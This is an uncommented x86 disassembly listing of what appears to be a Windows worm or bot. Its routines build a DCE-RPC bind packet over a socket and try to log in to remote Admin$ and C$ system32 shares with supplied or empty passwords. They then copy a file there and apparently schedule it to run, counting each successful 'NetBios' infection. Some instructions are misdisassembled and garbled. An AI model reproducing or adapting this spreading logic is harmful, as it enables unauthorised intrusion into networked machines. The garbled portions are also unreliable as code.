sub_40D7F9	proc near		; CODE XREF: sub_40D6A6+14p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		push	[esp+8+arg_4]
		mov	esi, ecx
		call	sub_40D6F3
		test	al, al
		jz	short loc_40D829
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		push	dword ptr [esi+4]
		call	sub_40D59B
		add	esp, 0Ch
		mov	ecx, esi
		push	[esp+4+arg_4]
		call	sub_40D6C3


loc_40D829:				; CODE XREF: sub_40D7F9+10j
		mov	eax, esi
		pop	esi
		retn	8
sub_40D7F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D82F	proc near		; CODE XREF: sub_40D5B0+41p
					; sub_40D5B0+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_40D842
		call	sub_437660


loc_40D842:				; CODE XREF: sub_40D82F+Cj
		mov	ecx, edi
		call	sub_40D999
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_40D858
		mov	ebx, eax


loc_40D858:				; CODE XREF: sub_40D82F+25j
		test	ebx, ebx
		jbe	short loc_40D88C
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_40D894
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_40D6F3
		test	al, al
		jz	short loc_40D88C
		push	esi
		mov	ecx, edi
		call	sub_40D6C3


loc_40D88C:				; CODE XREF: sub_40D82F+2Bj
					; sub_40D82F+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40D82F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D894	proc near		; CODE XREF: sub_40D82F+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41F9A0
		add	esp, 0Ch
		retn
sub_40D894	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8A9	proc near		; CODE XREF: sub_40D6F3+5p
					; sub_40D8BF+1Ep
		call	sub_40D9E5
		cmp	eax, 2
		ja	short loc_40D8B7
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_40D8B7:				; CODE XREF: sub_40D8A9+8j
		add	eax, 0FFFFFFFEh
		retn
sub_40D8A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8BB	proc near		; CODE XREF: sub_40D5B0+A6p
		mov	eax, [ecx+0Ch]
		retn
sub_40D8BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D8BF	proc near		; CODE XREF: sub_40D6F3+99p
		mov	eax, offset loc_437FF4
		call	sub_41F980
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		or	edi, 1Fh
		call	sub_40D8A9
		cmp	eax, edi
		jnb	short loc_40D8E9
		mov	edi, [ebp+8]


loc_40D8E9:				; CODE XREF: sub_40D8BF+25j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		push	0
		push	eax
		mov	ecx, esi
		call	sub_40D9D5
		mov	[ebp+8], eax
		jmp	short loc_40D922
; ---------------------------------------------------------------------------


loc_40D8FF:				; DATA XREF: seg001:0043B25Co
		mov	eax, [ebp+8]
		mov	ecx, [ebp-14h]
		mov	[ebp-18h], eax
		add	eax, 2
		push	0
		push	eax
		call	sub_40D9D5
		mov	[ebp+8], eax
		mov	eax, offset loc_40D91C
		retn
; ---------------------------------------------------------------------------


loc_40D91C:				; DATA XREF: sub_40D8BF+57o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_40D922:				; CODE XREF: sub_40D8BF+3Ej
		mov	eax, [esi+8]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		test	eax, eax
		jbe	short loc_40D944
		cmp	eax, edi
		jbe	short loc_40D933
		mov	eax, edi


loc_40D933:				; CODE XREF: sub_40D8BF+70j
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_40D59B
		add	esp, 0Ch


loc_40D944:				; CODE XREF: sub_40D8BF+6Cj
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_40D79F
		mov	eax, [ebp+8]
		mov	ecx, esi
		inc	eax
		push	eax
		mov	[esi+4], eax
		call	sub_40D984
		and	byte ptr [eax],	0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_40D96B
		mov	edi, ebx


loc_40D96B:				; CODE XREF: sub_40D8BF+A8j
		push	edi
		mov	ecx, esi
		call	sub_40D6C3
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40D8BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D984	proc near		; CODE XREF: sub_40D5B0+70p
					; sub_40D5B0+B3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		dec	eax
		retn	4
sub_40D984	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D98C	proc near		; CODE XREF: sub_40D79F+47p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41FCE0
		pop	ecx
		retn	8
sub_40D98C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D999	proc near		; CODE XREF: sub_40D82F+15p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40D9D3
		push	eax
		call	sub_40D984
		cmp	byte ptr [eax],	0
		jz	short loc_40D9D3
		push	dword ptr [esi+4]
		mov	ecx, esi
		call	sub_40D984
		cmp	byte ptr [eax],	0FFh
		jz	short loc_40D9D3
		push	edi
		mov	edi, [esi+4]
		push	1
		mov	ecx, esi
		call	sub_40D79F
		push	edi
		mov	ecx, esi
		call	sub_40D6A6
		pop	edi


loc_40D9D3:				; CODE XREF: sub_40D999+8j
					; sub_40D999+13j ...
		pop	esi
		retn
sub_40D999	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9D5	proc near		; CODE XREF: sub_40D8BF+36p
					; sub_40D8BF+4Fp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40D9EC
		pop	ecx
		pop	ecx
		retn	8
sub_40D9D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E5	proc near		; CODE XREF: sub_40D8A9p
		or	eax, 0FFFFFFFFh
		retn
sub_40D9E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9E9	proc near		; CODE XREF: sub_40D5B0+7Cp
		mov	al, 1
		retn
sub_40D9E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9EC	proc near		; CODE XREF: sub_40D9D5+6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40D9F6
		xor	eax, eax


loc_40D9F6:				; CODE XREF: sub_40D9EC+6j
		push	eax
		call	sub_41FD90
		pop	ecx
		retn
sub_40D9EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40D9FE	proc near		; CODE XREF: seg000:loc_40D407p
					; sub_4377A0+3p
		test	ds:byte_4EED04,	1
		jnz	short locret_40DA0E
		or	ds:byte_4EED04,	1

locret_40DA0E:				; CODE XREF: sub_40D9FE+7j
		retn
sub_40D9FE	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DA10	proc near		; CODE XREF: seg000:0040DDDDp

var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		xor	edi, edi
		push	20h
		lea	eax, [ebp+var_24]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41D100
		mov	esi, offset dword_4E2488
		push	offset dword_446BBC
		push	esi
		call	sub_41E550
		push	[ebp+arg_0]
		push	esi
		call	sub_41E560
		push	offset dword_446BC0
		push	esi
		call	sub_41E560
		push	offset dword_446BC4
		push	esi
		call	sub_41E560
		add	esp, 2Ch
		lea	eax, [ebp+var_24]
		mov	[ebp+var_10], esi
		mov	[ebp+var_20], 1
		push	edi
		push	edi
		push	edi
		push	eax
		mov	[ebp+var_14], edi
		mov	[ebp+var_8], edi
		call	ds:dword_451598
		push	ds:dword_44FD20
		push	[ebp+arg_0]
		push	ds:dword_4E2588
		call	sub_41FEE0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	66h
		push	ds:dword_4E2588
		call	ds:dword_45142C
		test	eax, eax
		mov	esi, offset dword_4E258C
		jnz	short loc_40DABF
		mov	eax, [ebp+var_4]
		push	edi
		push	edi
		push	64h
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [eax+4]
		push	edi
		push	edi
		call	ds:dword_4F1384	; WideCharToMultiByte


loc_40DABF:				; CODE XREF: sub_40DA10+98j
		cmp	[ebp+var_4], edi
		jz	short loc_40DACD
		push	[ebp+var_4]
		call	ds:dword_451580


loc_40DACD:				; CODE XREF: sub_40DA10+B2j
		mov	eax, esi
		pop	edi
		pop	esi
		leave
		retn
sub_40DA10	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DAD3	proc near		; CODE XREF: sub_40DB71+3Fp
					; sub_40DB71:loc_40DBC8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	esi
		xor	edi, edi
		call	sub_41AC70
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_0], eax
		jbe	short loc_40DB40
		or	eax, 0FFFFFFFFh
		push	ebx
		lea	edx, [esi+1]
		sub	eax, esi


loc_40DAF4:				; CODE XREF: sub_40DAD3+6Aj
		mov	cl, [edx-1]
		cmp	cl, 30h
		jl	short loc_40DB09
		cmp	cl, 39h
		jg	short loc_40DB09
		movsx	ecx, cl
		sub	ecx, 30h
		jmp	short loc_40DB0F
; ---------------------------------------------------------------------------


loc_40DB09:				; CODE XREF: sub_40DAD3+27j
					; sub_40DAD3+2Cj
		movsx	ecx, cl
		sub	ecx, 57h


loc_40DB0F:				; CODE XREF: sub_40DAD3+34j
		mov	bl, [edx]
		shl	ecx, 4
		cmp	bl, 30h
		jl	short loc_40DB27
		cmp	bl, 39h
		jg	short loc_40DB27
		movsx	esi, bl
		lea	ecx, [ecx+esi-30h]
		jmp	short loc_40DB2E
; ---------------------------------------------------------------------------


loc_40DB27:				; CODE XREF: sub_40DAD3+44j
					; sub_40DAD3+49j
		movsx	esi, bl
		lea	ecx, [ecx+esi-57h]


loc_40DB2E:				; CODE XREF: sub_40DAD3+52j
		mov	esi, [ebp+arg_4]
		mov	[edi+esi], cl
		inc	edi
		inc	edx
		inc	edx
		lea	ecx, [eax+edx]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_40DAF4
		pop	ebx


loc_40DB40:				; CODE XREF: sub_40DAD3+16j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40DAD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DB46	proc near		; CODE XREF: sub_40DB71+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	edx, eax
		xor	esi, esi
		shr	edx, 1
		jz	short loc_40DB6F
		push	ebx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		lea	eax, [edi+eax-1]


loc_40DB5D:				; CODE XREF: sub_40DB46+25j
		mov	bl, [esi+edi]
		mov	cl, [eax]
		mov	[eax], bl
		mov	[esi+edi], cl
		inc	esi
		dec	eax
		cmp	esi, edx
		jb	short loc_40DB5D
		pop	edi
		pop	ebx


loc_40DB6F:				; CODE XREF: sub_40DB46+Bj
		pop	esi
		retn
sub_40DB46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DB71	proc near		; CODE XREF: sub_40DBFE+69p
					; sub_40DBFE+89p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		xor	esi, esi
		push	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		mov	edi, ebx
		call	sub_41AC70
		mov	[ebp+arg_0], esi
		cmp	eax, esi
		mov	esi, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_C], eax
		jbe	short loc_40DBE9


loc_40DB9B:				; CODE XREF: sub_40DB71+76j
		mov	eax, [ebp+arg_0]
		add	eax, ebx
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40DBDE
		and	byte ptr [eax],	0
		cmp	[ebp+var_8], 3
		push	esi
		push	edi
		jnb	short loc_40DBC8
		call	sub_40DAD3
		mov	edi, eax
		push	edi
		push	esi
		call	sub_40DB46
		add	esp, 10h
		add	esi, edi
		add	[ebp+var_4], edi
		jmp	short loc_40DBD4
; ---------------------------------------------------------------------------


loc_40DBC8:				; CODE XREF: sub_40DB71+3Dj
		call	sub_40DAD3
		pop	ecx
		add	esi, eax
		add	[ebp+var_4], eax
		pop	ecx


loc_40DBD4:				; CODE XREF: sub_40DB71+55j
		mov	eax, [ebp+arg_0]
		inc	[ebp+var_8]
		lea	edi, [eax+ebx+1]


loc_40DBDE:				; CODE XREF: sub_40DB71+32j
		inc	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		cmp	[ebp+arg_0], eax
		jb	short loc_40DB9B


loc_40DBE9:				; CODE XREF: sub_40DB71+28j
		and	byte ptr [eax+esi], 0
		push	esi
		push	edi
		call	sub_40DAD3
		add	eax, [ebp+var_4]
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DB71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DBFE	proc near		; CODE XREF: seg000:0040DD98p

var_2C		= byte ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	9
		pop	ecx
		mov	esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860"
		lea	edi, [ebp+var_2C]
		push	1
		rep movsd
		push	800h
		movsb
		call	sub_41B250
		pop	ecx
		mov	esi, eax
		pop	ecx
		push	1
		push	[ebp+arg_4]
		call	sub_41AC70
		shr	eax, 1
		inc	eax
		pop	ecx
		inc	eax
		push	eax
		call	sub_41B250
		mov	edi, esi
		push	1
		mov	[ebp+var_4], eax
		add	esi, 10h
		xor	ebx, ebx
		pop	eax
		mov	word ptr [esi],	16D0h
		mov	word ptr [esi+2], 16D0h
		mov	[esi+4], ebx
		mov	[esi+8], eax
		mov	[esi+0Ch], bx
		mov	[esi+0Eh], ax
		add	esi, 10h
		push	esi
		push	[ebp+arg_4]
		call	sub_40DB71
		add	esi, eax
		lea	eax, [ebp+arg_8]
		push	2
		push	eax
		push	esi
		call	sub_41E840
		inc	esi
		lea	eax, [ebp+var_2C]
		inc	esi
		mov	[esi], bl
		inc	esi
		mov	[esi], bl
		inc	esi
		push	esi
		push	eax
		call	sub_40DB71
		add	esi, eax
		mov	ecx, [ebp+arg_C]
		push	[ebp+var_4]
		mov	byte ptr [esi],	2
		inc	esi
		mov	[esi], bl
		sub	esi, edi
		inc	esi
		mov	byte ptr [edi],	5
		mov	[edi+1], bl
		mov	byte ptr [edi+2], 0Bh
		lea	eax, [esi+2]
		mov	byte ptr [edi+3], 3
		mov	[edi+8], ax
		mov	eax, [ebp+arg_0]
		mov	[edi+0Ch], eax
		mov	dword ptr [edi+4], 10h
		movzx	eax, si
		inc	eax
		mov	[edi+0Ah], bx
		inc	eax
		mov	[ecx], eax
		call	sub_41B8B0
		add	esp, 28h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DBFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40DCD9	proc near		; CODE XREF: seg000:0040DE1Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	esi
		call	sub_41AC70
		pop	ecx
		mov	ecx, [esp+4+arg_0]
		lea	ecx, [ecx+eax*2-1]


loc_40DCED:				; CODE XREF: sub_40DCD9+25j
		mov	edx, eax
		dec	eax
		test	edx, edx
		jz	short loc_40DD00
		and	byte ptr [ecx],	0
		mov	dl, [eax+esi]
		dec	ecx
		mov	[ecx], dl
		dec	ecx
		jmp	short loc_40DCED
; ---------------------------------------------------------------------------


loc_40DD00:				; CODE XREF: sub_40DCD9+19j
		pop	esi
		retn
sub_40DCD9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1048h
		call	sub_41DEB0
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_45142C, ebx
		push	esi
		push	edi
		jz	loc_40DDD2
		push	9
		mov	esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525"
		pop	ecx
		lea	edi, [ebp-48h]
		rep movsd
		movsb
		push	1
		pop	edi
		push	ebx
		push	edi
		push	2
		mov	[ebp-4], edi
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp-0Ch], esi
		jl	loc_40DDD2
		push	dword ptr [ebp+0A8h]
		mov	word ptr [ebp-20h], 2
		call	ds:dword_4514F4
		mov	[ebp-1Eh], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_451530
		mov	[ebp-1Ch], eax
		push	8
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		test	eax, eax
		jl	short loc_40DDD2
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-48h]
		push	edi
		push	eax
		push	ebx
		call	sub_40DBFE
		add	esp, 10h
		mov	edi, eax
		push	ebx
		push	dword ptr [ebp-10h]
		push	edi
		push	esi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40DDCB
		push	ebx
		lea	eax, [ebp-1048h]
		push	1000h
		push	eax
		push	esi
		call	ds:dword_4F14E0	; recv
		test	eax, eax
		jg	short loc_40DDD9


loc_40DDCB:				; CODE XREF: seg000:0040DDB1j
		push	edi
		call	sub_41B8B0
		pop	ecx


loc_40DDD2:				; CODE XREF: seg000:0040DD1Aj
					; seg000:0040DD45j ...
		xor	eax, eax


loc_40DDD4:				; CODE XREF: seg000:0040DF6Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40DDD9:				; CODE XREF: seg000:0040DDC9j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40DA10
		push	eax
		mov	[ebp-8], eax
		call	sub_41AC70
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40DDD2
		mov	edi, 104Ch
		push	edi
		call	sub_41AE40
		mov	esi, eax
		push	edi
		push	90h
		push	esi
		call	sub_41D100
		push	42h
		push	offset dword_446990
		push	esi
		call	sub_41E840
		push	dword ptr [ebp-8]
		lea	ebx, [esi+42h]
		push	ebx
		call	sub_40DCD9
		push	dword ptr [ebp-8]
		call	sub_41AC70
		lea	ebx, [ebx+eax*2]
		push	14h
		push	offset off_4469D4
		push	ebx
		call	sub_41E840
		mov	ebx, offset dword_4469EC
		push	18h
		lea	eax, [esi+418h]
		push	ebx
		push	eax
		call	sub_41E840
		add	esp, 40h
		lea	eax, [esi+830h]
		push	18h
		push	ebx
		push	eax
		call	sub_41E840
		push	18h
		lea	eax, [esi+0C48h]
		push	offset dword_446A08
		push	eax
		call	sub_41E840
		lea	ebx, [esi+1B6h]
		push	3Ah
		push	offset loc_446A24
		push	ebx
		call	sub_41E840
		push	0FFFFh
		push	539h
		call	sub_41801E
		add	esp, 2Ch
		mov	[ebp-8], eax
		xor	eax, 437h
		push	eax
		call	ds:dword_4514F4
		push	158h
		add	ebx, 3Ah
		push	offset dword_446A60
		push	ebx
		mov	ds:word_446B1A,	ax
		call	sub_41E840
		and	byte ptr [esi+104Ah], 0
		and	byte ptr [esi+104Bh], 0
		push	1
		lea	eax, [ebp+0Ch]
		pop	ebx
		push	ebx
		push	eax
		call	sub_417569
		add	esp, 14h
		cmp	eax, 2
		jnz	short loc_40DEEB
		mov	dword ptr [ebp-4], 8


loc_40DEEB:				; CODE XREF: seg000:0040DEE2j
		cmp	eax, 3
		jnz	short loc_40DEF3
		mov	[ebp-4], ebx


loc_40DEF3:				; CODE XREF: seg000:0040DEEEj
					; seg000:0040DF0Dj
		mov	eax, [ebp-4]
		dec	dword ptr [ebp-4]
		test	eax, eax
		jz	short loc_40DF14
		push	0
		push	edi
		push	esi
		push	dword ptr [ebp-0Ch]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40DEF3
		jmp	loc_40DDD2
; ---------------------------------------------------------------------------


loc_40DF14:				; CODE XREF: seg000:0040DEFBj
		push	dword ptr [ebp-0Ch]
		call	ds:dword_451588
		push	1F4h
		call	ds:dword_4F12F4	; Sleep
		push	esi
		call	sub_41B8B0
		pop	ecx
		lea	esi, [ebp+8]
		push	dword ptr [ebp-8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		cmp	al, 1
		jnz	loc_40DDD2
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		mov	eax, ebx
		jmp	loc_40DDD4
; ---------------------------------------------------------------------------


loc_40DF71:				; CODE XREF: sub_40E201+37p
		push	ebp
		mov	ebp, esp
		sub	esp, 6F0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	20h
		lea	eax, [ebp-54h]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	esi, [ebp+10h]
		lea	eax, [ebp-54h]
		mov	[ebp-40h], esi
		push	edi
		mov	dword ptr [ebp-50h], 1
		push	dword ptr [ebp+8]
		mov	[ebp-44h], edi
		mov	[ebp-38h], edi
		push	dword ptr [ebp+0Ch]
		push	eax
		call	ds:dword_451598
		test	eax, eax
		jz	short loc_40DFC3
		push	0Ah
		call	ds:dword_4F12F4	; Sleep
		jmp	loc_40E1ED
; ---------------------------------------------------------------------------


loc_40DFC3:				; CODE XREF: seg000:0040DFB4j
		lea	eax, [ebp-2E8h]
		push	190h
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	edi
		push	edi
		mov	dword ptr [ebp-20h], offset aAdminSystem32 ; "Admin$\\system32"
		mov	dword ptr [ebp-1Ch], offset aCWinntSystem32 ; "c$\\winnt\\system32"
		mov	dword ptr [ebp-18h], offset aCWindowsSystem
					; CODE XREF: seg000:0040E05Bj
					; "c$\\windows\\system32"
		mov	dword ptr [ebp-14h], offset aC_0 ; "c"
		mov	dword ptr [ebp-10h], offset aD ; "d"
		mov	[ebp-8], edi
		call	ds:dword_4F1370	; MultiByteToWideChar
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-2E8h]
		push	eax
		call	ds:dword_451424
		test	eax, eax
		jnz	loc_40E1EA
		cmp	[ebp-8], edi
		jz	loc_40E1EA
		lea	eax, [ebp-20h]
		mov	[ebp-4], edi
		mov	[ebp-0Ch], eax
		mov	esi, offset byte_43CCBC


loc_40E030:				; CODE XREF: seg000:0040E0C9j
		mov	eax, [ebp-0Ch]
		push	esi
		push	dword ptr [eax]
		lea	eax, [ebp-158h]
		push	dword ptr [ebp+10h]
		push	offset aSSS_1	; "%s\\%s\\%s"
		push	eax
		call	sub_41D260
		add	esp, 14h
		lea	eax, [ebp-158h]
		push	edi
		push	eax
		push	esi
		call	near ptr 3D0000h
		jg	short near ptr loc_40DFE2+6
		fdivr	dword ptr [ebx]
		fbstp	tbyte ptr [ebp+7Fh]
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_40E0BE
		lea	eax, [ebp-158h]
		push	edi
		push	eax
		call	sub_420150
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E0BE
		call	sub_41DBA0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp-158h]
		push	eax
		mov	ebx, edx
		add	bl, 30h
		call	sub_41AC70
		pop	ecx
		lea	ecx, [ebp-158h]
		push	edi
		sub	ecx, 5
		mov	[eax+ecx], bl
		lea	eax, [ebp-158h]
		push	eax
		push	esi
		call	near ptr 3D0000h
		cwde
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_40E0E1


loc_40E0BE:				; CODE XREF: seg000:0040E06Bj
					; seg000:0040E07Ej
		inc	dword ptr [ebp-4]
		add	dword ptr [ebp-0Ch], 4
		cmp	dword ptr [ebp-4], 5
		jb	loc_40E030
		cmp	ebx, edi
		jnz	short loc_40E0E1
		push	dword ptr [ebp-8]
		call	ds:dword_451580
		jmp	loc_40E1ED
; ---------------------------------------------------------------------------


loc_40E0E1:				; CODE XREF: seg000:0040E0BCj
					; seg000:0040E0D1j
		mov	ecx, [ebp-8]
		push	3Ch
		xor	edx, edx
		pop	ebx
		mov	eax, [ecx]
		push	10h
		div	ebx
		xor	edx, edx
		push	edi
		sub	eax, [ecx+18h]
		mov	ecx, 5A0h
		inc	eax
		inc	eax
		div	ecx
		lea	eax, [ebp-34h]
		push	eax
		mov	ebx, edx
		call	sub_41D100
		imul	ebx, 0EA60h
		add	esp, 0Ch
		lea	eax, [ebp-6F0h]
		mov	[ebp-34h], ebx
		push	208h
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	edi
		push	edi
		call	ds:dword_4F1370	; MultiByteToWideChar
		lea	eax, [ebp-6F0h]
		mov	[ebp-28h], eax
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-34h]
		push	eax
		lea	eax, [ebp-2E8h]
		push	eax
		call	ds:dword_45146C
		test	eax, eax
		jnz	loc_40E1EA
		push	offset dword_4E25F4
		push	dword ptr [ebp+0Ch]
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	eax, offset aNoPassword	; "(no password)"
		jz	short loc_40E16D
		mov	eax, [ebp+0Ch]


loc_40E16D:				; CODE XREF: seg000:0040E168j
		push	eax
		mov	eax, [ebp-4]
		push	dword ptr [ebp+8]
		push	dword ptr [ebp+eax*4-20h]
		mov	eax, [ebp+0BCh]
		shl	eax, 6
		push	dword ptr [ebp+10h]
		add	eax, offset aNetbios ; "NetBios"
		push	eax
		push	offset unk_446C78
		lea	eax, [ebp-4E8h]
		push	200h
		push	eax
		call	sub_41D360
		add	esp, 20h
		cmp	[ebp+0C8h], edi
		jnz	short loc_40E1C8
		push	edi
		lea	eax, [ebp-4E8h]
		push	dword ptr [ebp+0C4h]
		push	eax
		lea	eax, [ebp+28h]
		push	eax
		push	dword ptr [ebp+14h]
		call	sub_40145D
		add	esp, 14h


loc_40E1C8:				; CODE XREF: seg000:0040E1A9j
		lea	eax, [ebp-4E8h]
		push	eax
		call	sub_4161A7
		mov	eax, [ebp+0BCh]
		pop	ecx
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]


loc_40E1EA:				; CODE XREF: seg000:0040E013j
					; seg000:0040E01Cj ...
		push	1
		pop	edi


loc_40E1ED:				; CODE XREF: seg000:0040DFBEj
					; seg000:0040E0DCj
		push	1
		push	1
		push	dword ptr [ebp+10h]
		call	ds:dword_451558
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40E201	proc near		; CODE XREF: sub_40E268+137p
					; sub_40E268+1B1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		cmp	ds:off_43CE30, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40E25D
		mov	eax, offset off_43CE30
		mov	ebx, eax


loc_40E214:				; CODE XREF: sub_40E201+5Aj
		sub	esp, 0BCh
		lea	esi, [esp+0C8h+arg_8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	[esp+0C8h+arg_4]
		rep movsd
		push	dword ptr [eax]
		push	[esp+0D0h+arg_0]
		call	loc_40DF71
		add	esp, 0C8h
		cmp	eax, 1
		jz	short loc_40E263
		push	0C8h
		call	ds:dword_4F12F4	; Sleep
		add	ebx, 4
		mov	eax, ebx
		cmp	dword ptr [ebx], 0
		jnz	short loc_40E214


loc_40E25D:				; CODE XREF: sub_40E201+Aj
		xor	eax, eax


loc_40E25F:				; CODE XREF: sub_40E201+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40E263:				; CODE XREF: sub_40E201+45j
		push	1
		pop	eax
		jmp	short loc_40E25F
sub_40E201	endp


